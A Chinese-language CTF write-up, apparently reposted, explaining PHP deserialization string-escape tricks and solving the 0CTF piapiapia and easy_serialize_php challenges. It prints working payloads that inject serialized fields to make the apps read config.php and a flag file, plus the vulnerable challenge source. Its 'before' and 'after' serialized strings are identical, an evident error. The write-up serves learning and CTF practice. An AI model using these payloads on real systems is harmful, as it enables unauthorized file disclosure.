PHP反序列化字符逃逸


要學習反序列化字符串逃逸之前,我們需要知道php反序列化的幾大特性。

1.PHP 在反序列化時,底層代碼是以 ; 作為字段的分隔,以 } 作為結尾(字符串除外),並且是根據長度判斷內容的 .

2.當長度不對應的時候會出現報錯

3.可以反序列化類中不存在的元素

反序列化字符串逃逸

 1.過濾后字符變多
 2.過濾后字符變少

過濾后字符變多

當我們傳入?name =npfsx 時,由於溢出,反序列化失敗,這個時候我們就可以利用這里的溢出,構造注入,實現字符串逃逸

其實總的來說就是因為執行text函數將一個字符(x),替換成兩個字符 (66), 使字符串膨脹,造成了之后的序列化中,多出來的這些字符搶占了本屬於";i:1;s:6:"hacker";}的位子,使其溢出,而我們要做的就是使溢出的這部分在閉合前一字符串的同時,符合php反序列化規則,能夠被成功反序列化

所以";i:1;s:6:"hacker";}這一部分前面的字符";就是我們用來閉合前面字符串的,這樣剩下的i:1;s:6:"hacker"這一部分符合反序列化規則,最后的;}是用來閉合反序列化全過程的,這樣原來的";i:1;s:14:"hello everyone";}就會被舍棄,而不影響反序列化過程


過濾后字符變少

總的來說就是由於縮水,導致前面的字符被吃掉了,所以執行了我們后面構造的代碼


0CTF piapiapia

使其主要的代碼就四部分

先拿seay審下(第一次用,發現真是神器啊2333)

可以發現config.php里有個flag

我們在register.php頁面注冊,在index.php頁面登入之后,來到update.php頁面,我們可以看到這個頁面是一個文件上傳頁面,結合seay,審計代碼,發現這里有一個序列化的過程,同時在序列化之前會對我們輸入的Phone、Email、Nickname、Photo進行正則匹配(phone要類似於11位數組的構造,email要類似於123@qq.com這樣郵箱的構造,這兩種都是不符合則die,而Nickname恰恰相反,它是如果匹配到非字符數字下划線或者長度超過10則die,這里可以用數組繞過)

這里有個update_profile函數,我們追溯看看

可以發現里面有個filter函數,繼續追溯

通過審計發現會將字符串中的\\\\\ 替換成下划線,也會將部分字符替換成hacker,這里細心點可以發現這些字符串里面只有where是5位的,其他都是6位的


回到update.php頁面,嘗試上傳文件,來到了profile.php頁面,審計代碼,發現這里有個反序列化操作,還有一個文件讀取操作

其實看到這里,大概思路應該就有了,flag在config.php中,我們在上傳頁面參數被序列化,再經歷一系列替換之后,再進行反序列化,同時還有文件讀取

php反序列化字符串逃逸的常見套路,我們可以將config.php作為逃逸字符串,經過一系列變化后,讀取出來

最終payload

nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

上傳后來到profile.php頁面,讀取源碼,base64解密,即可得到flag

這里為什么要構造nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}其實如果看懂我上面寫的過濾后字符變多這一模塊后是很好理解的

filter函數會將where替換成hacker,字符數增加1,字符串膨脹

";}s:5:"photo";s:10:"config.php";}

這一部分一共34個字符,這也就以為這當我們構造34個where時,當where被替換成hacker之后,會多出34個字符,使得";}s:5:"photo";s:10:"config.php";} 被向后推,從而替代了photo的序列化結果

替換前

a:4{s:5:"phone";s:11:"12345678901";s:5:"email";s:10:"123@qq.com";s:8:"nickname";s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";s:39:"upload/804f743824c0451b2f60d81b63b6a900";}

替換后

a:4{s:5:"phone";s:11:"12345678901";s:5:"email";s:10:"123@qq.com";s:8:"nickname";s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";s:39:"upload/804f743824c0451b2f60d81b63b6a900";}

[安洵杯 2019]easy_serialize_php

這一題考察的是過濾后字符變少

 <?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

具體過程我就不寫了,參考上文過濾后字符變少板塊,

本地測試腳本如下:

<?php

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}
$_SESSION["user"] = 'L2QwZzNfZmxsbGxsbGFn';
$_SESSION['function'] ='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"aa";s:2:"ss";}';
$_SESSION["img"]='ZDBnM19mMWFnLnBocA==';
$serialize_info = filter(serialize($_SESSION));
echo $serialize_info;
$userinfo = unserialize($serialize_info);
?>

payload:

GET ?f=show_image

POST SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"aa";s:2:"ss";}

查看源碼,$flag = 'flag in /d0g3_fllllllag';

所以構造

payload

GET ?f=show_image

POST SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"aa";s:2:"ss";}

得到flag


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM